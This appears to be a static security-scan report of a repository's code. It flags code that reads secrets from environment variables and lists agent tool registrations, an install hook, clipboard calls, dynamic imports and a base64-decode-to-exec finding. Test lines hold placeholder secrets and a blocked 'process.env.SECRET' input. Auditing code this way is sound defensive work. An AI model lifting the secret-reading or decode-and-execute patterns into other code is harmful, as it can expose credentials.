  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-attendance.mjs :37 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-issuance.mjs :33 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-serve-rewards.mjs :28 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-slashing.mjs :31 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-validators-slashable.mjs :38 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-validators.mjs :50 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/issuance-e2e.mjs :40 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/joiner-e2e.mjs :49 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/restore-liveness-margin.mjs :56 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/serve-rewards-e2e.mjs :47 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashable-registry-e2e.mjs :72 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashing-e2e.mjs :40 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :66 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/deploy.mjs :13 export const DEPLOYER_KEY = process.env.TINY_CHAIN_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/facilitator-e2e.mjs :169 const relayerAddr = privateKeyToAccount(process.env.FACILITATOR_RELAYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/faucet-e2e.mjs :45 const DEPLOYER_KEY = process.env.TINY_CHAIN_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/pay-e2e.mjs :18 if (!url || !process.env.X402_PAYER_KEY) {
  • secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/device-tools.ts :349 if (process.env.TELEGRAM_BOT_TOKEN) { tools.push(makeTelegramTool(process.env.TELEGRAM_BOT_TOKEN)); labels.push('telegram') }
  • secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :214 const shared = process.env.GOOGLE_OAUTH_CREDENTIALS
  • secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/model.ts :79 const apiKey = process.env.TINY_MODEL_API_KEY
  • secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/spotify.ts :90 const secret = process.env.SPOTIFY_CLIENT_SECRET
  • secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/api.ts :249 if (process.env.TINY_MODEL_API_KEY) h['x-tiny-model-api-key'] = process.env.TINY_MODEL_API_KEY
  • secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/auth.ts :41 if (process.env.TINY_TOKEN) {
  • secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/integrations.ts :163 state: process.env.TELEGRAM_BOT_TOKEN ? 'ready' : 'missing',
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/auth.test.mjs :18 delete process.env.TINY_TOKEN
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/daemon.test.mjs :61 process.env.OPENAI_API_KEY = 'sk-supersecretvalue123'
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/integrations-store.test.mjs :118 assert.equal(process.env.TELEGRAM_BOT_TOKEN, 'stored')
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/account-voice/route.ts :23 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/archives/route.ts :19 const ikey = () => ({ "X-Internal-Key": process.env.INTERNAL_API_KEY || "" });
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/cli/route.ts :41 const secret = process.env.AUTH_JWT_SECRET
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/cli/token/route.ts :24 const secret = process.env.AUTH_JWT_SECRET
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/route.ts :21 const clientSecret = process.env.GITHUB_CLIENT_SECRET
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/webauthn/login/route.ts :31 const secret = () => new TextEncoder().encode(process.env.AUTH_JWT_SECRET || '')
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/webauthn/register/route.ts :24 const secret = () => new TextEncoder().encode(process.env.AUTH_JWT_SECRET || '')
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/chat/route.ts :75 { headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, signal: AbortSignal.timeout(8_000) }
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/chat/tool-result/route.ts :38 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/control/route.ts :66 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/delete/route.ts :31 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/adopt/route.ts :47 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/endpoint/route.ts :69 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/event/route.ts :36 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/heartbeat/route.ts :37 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/relay/route.ts :25 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/route.ts :24 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/task-result/route.ts :37 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/transcript/route.ts :40 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/events/route.ts :38 { headers: { "X-Internal-Key": process.env.INTERNAL_API_KEY || "" }, signal: AbortSignal.timeout(10_000) }
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/follow/route.ts :17 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/graph/route.ts :19 const ikey = () => ({ 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' })
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/job-run/route.ts :26 const internalHeaders = () => ({ 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' })
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/jobs/route.ts :34 headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' },
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/learnings/route.ts :63 headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' },
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/location/route.ts :27 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/login/route.ts :38 headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' },
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/media/route.ts :45 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/messages/route.ts :18 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/model-config/route.ts :25 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/prefs/route.ts :22 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/push/route.ts :42 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/run-tool/route.ts :18 if (!process.env.INTERNAL_API_KEY || key !== process.env.INTERNAL_API_KEY) {
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/share/route.ts :87 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/telegram/route.ts :16 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tiny/route.ts :59 headers: isOwner ? { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' } : {},
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tools/install/route.ts :47 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tools/route.ts :23 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tools/run/route.ts :32 if (process.env.NODE_ENV !== 'development' && process.env.KV_REST_API_URL && process.env.KV_REST_API_TOKEN) {
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tools/trust/route.ts :36 { headers: { "X-Internal-Key": process.env.INTERNAL_API_KEY || "" }, ...T() }
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/udid/route.ts :92 const machineOk = !!process.env.ENROLL_SECRET && machineKey === process.env.ENROLL_SECRET
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/visit/route.ts :46 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/voice/replay/[id]/route.ts :28 { headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, signal: AbortSignal.timeout(8_000) }
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/voice/session/route.ts :42 { headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, signal: AbortSignal.timeout(8_000) }
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/voice/sessions/route.ts :20 { headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, signal: AbortSignal.timeout(8_000) }
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/faucet/route.ts :69 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/route.ts :58 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/withdraw/route.ts :114 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/x402/chat/[slug]/route.ts :56 const ikey = () => ({ 'Content-Type': 'application/json', 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' })
  • secrets cagataycali-tiny-technology-6c93dc1/web/app/api/x402/pay/route.ts :95 const quoteSecret = () => process.env.X402_QUOTE_SECRET || process.env.PAYOUT_PRIVATE_KEY || ''
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/auth.ts :24 const secret = process.env.AUTH_JWT_SECRET
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/model.ts :91 apiKey: sel.apiKey || process.env.GEMINI_API_KEY || process.env.GOOGLE_API_KEY,
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/flipper.ts :48 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/memory.ts :22 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/messages.ts :39 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/nicla-voice.ts :52 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/nicla.ts :30 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/platform.ts :21 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/universe.ts :67 'X-Internal-Key': process.env.INTERNAL_API_KEY || '',
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/rate-limit.ts :98 !process.env.KV_REST_API_TOKEN
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/reputation.ts :25 headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' },
  • secrets cagataycali-tiny-technology-6c93dc1/web/lib/utils.ts :2 const key = process.env.WEATHER_API_KEY;
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-onboarding-voice.mjs :134 const KEY = process.env.ELEVENLABS_API_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/auth.test.ts :6 beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret-do-not-use-in-prod' })
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/cli-token.test.ts :4 beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret-cli' })
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/devices-camera-panel.test.ts :50 process.env.INTERNAL_API_KEY = KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/devices-route.test.ts :4 beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret' })
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/job-run.test.ts :4 beforeAll(() => { process.env.INTERNAL_API_KEY = 'test-internal-key' })
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/media-route.test.ts :4 beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret' })
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/oauth-csrf.test.ts :7 process.env.GITHUB_CLIENT_SECRET = 'test-secret'
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/platform-tools.test.ts :4 beforeAll(() => { process.env.INTERNAL_API_KEY = 'test-internal-key' })
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-route.test.ts :4 beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret' })
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/udid-route.test.ts :26 delete process.env.ENROLL_SECRET
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/user-tools.test.ts :33 ['(a) => process.env.SECRET', 'process'],
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/utils.test.ts :146 const realKey = process.env.WEATHER_API_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/webauthn-login.test.ts :4 beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret-webauthn' })
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/write-routes.test.ts :4 beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret' })

tool registrations 31

  • tiny_whoami cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :63
  • tiny_login cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :69
  • tiny_learn cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :91
  • tiny_recall cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :112
  • tiny_unlearn cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :124
  • tiny_memories cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :133
  • tiny_graph cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :143
  • tiny_resolve_conflict cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :159
  • tiny_chat cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :173
  • tiny_search cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :195
  • tiny_get cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :211
  • tiny_create cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :225
  • tiny_update cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :241
  • tiny_delete cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :288
  • tiny_create_tool cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :299
  • tiny_remove_tool cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :321
  • tiny_marketplace cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :330
  • tiny_reload_tools cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :393
  • tiny_schedule cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :405
  • tiny_share cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :431
  • tiny_events cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :454
  • tiny_wallet cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :472
  • tiny_pay_quote cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :512
  • tiny_pay_confirm cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :528
  • tiny_send_message cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :542
  • tiny_messages cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :554
  • tiny_follow cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :569
  • tiny_delete_message cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :583
  • tiny_devices cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :594
  • tiny_model_config cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :611
  • tiny_archives cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :640

install hooks 1

  • prepublishOnly cagataycali-tiny-technology-6c93dc1/tiny-tech/package.json :21 npm run test

declared dependencies 1

  • viem@^2.21.0

clipboard 4

  • clipboard shell call cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/desktop.ts :84 if (env.WAYLAND_DISPLAY && hasBin(read ? 'wl-paste' : 'wl-copy')) {
  • clipboard shell call cagataycali-tiny-technology-6c93dc1/tiny-tech/test/desktop.test.mjs :37 test('macOS clipboard is pbcopy/pbpaste', () => {
  • clipboard shell call cagataycali-tiny-technology-6c93dc1/tiny-tech/test/see.test.mjs :659 const withSips = desktopSenses('linux', {}, only('xclip'), (p) => p === '/usr/bin/sips')
  • clipboard shell call cagataycali-tiny-technology-6c93dc1/tiny-tech/test/speech.test.mjs :476 const linux = desktopSenseBlock(desktopSenses('linux', {}, (b) => b === 'xclip', yesPaths))

obfuscation 4

  • dynamic require()/import() cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/local-tools.ts :343 mod = await import(`${pathToFileURL(full).href}?v=${stamp}`)
  • dynamic require()/import() cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tasks.test.mjs :322 const { TaskRunner } = await import(${JSON.stringify(new URL('../dist/agent/tasks.js', import.meta.url).href)})
  • dynamic require()/import() cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tray.test.mjs :282 const { startTrayServer } = await import(${JSON.stringify(new URL('../dist/tray.js', import.meta.url).href)})
  • base64 decode → exec sink cagataycali-tiny-technology-6c93dc1/web/components/chat/bang.ts :49 const expr = decodeURIComponent(atob("${encoded}"));

perm:untrusted 11

  • untrusted (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :209 const health = await fetch(`${FAC}/healthz`).then((r) => r.json())
  • untrusted (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup-e2e.mjs :40 const up = () => fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' }).then((r) => r.ok)
  • untrusted (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/facilitator-e2e.mjs :124 const post = (path, b = body) => fetch(`${FAC}${path}`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: b }).then((r) => r.json())
  • untrusted (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/proxy-e2e.mjs :71 const get = await fetch(PROXY).then((r) => r.json())
  • untrusted cagataycali-tiny-technology-6c93dc1/web/app/api/erc8004/registration/[slug]/route.ts :89 fetch(`${WORKER}/get?name=${encodeURIComponent(slug)}`, { signal: AbortSignal.timeout(10_000) }).then(r => r.ok ? r.json() : null).catch(() => null),
  • untrusted cagataycali-tiny-technology-6c93dc1/web/app/api/x402/chat/[slug]/route.ts :341 fetch(`${WORKER}/get?name=${encodeURIComponent(slug)}`, { signal: AbortSignal.timeout(10_000) }).then(r => r.ok ? r.json() : null).catch(() => null),
  • untrusted cagataycali-tiny-technology-6c93dc1/web/lib/x402/top-up.ts :181 * - web — `faucetClaim()` is `fetch().then(r => r.json())`, so the rejection is
  • untrusted cagataycali-tiny-technology-6c93dc1/web/public/sw.js :48 caches.match(req).then((hit) => hit || fetch(req).then((res) => {
  • untrusted (weak) cagataycali-tiny-technology-6c93dc1/web/tests/deadlines.test.ts :772 * ``fetch(…).then(r => r.json())`` — with comments included, the census read
  • untrusted (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet-no-answer.test.ts :9 * - web — `faucetClaim()` is `fetch(…).then(r => r.json())`, so the rejection is
  • untrusted (weak) cagataycali-tiny-technology-6c93dc1/web/tests/user-tools.test.ts :135 const out = await runUserTool('(args) => fetch("https://example.com/big").then(r => r.text())', {})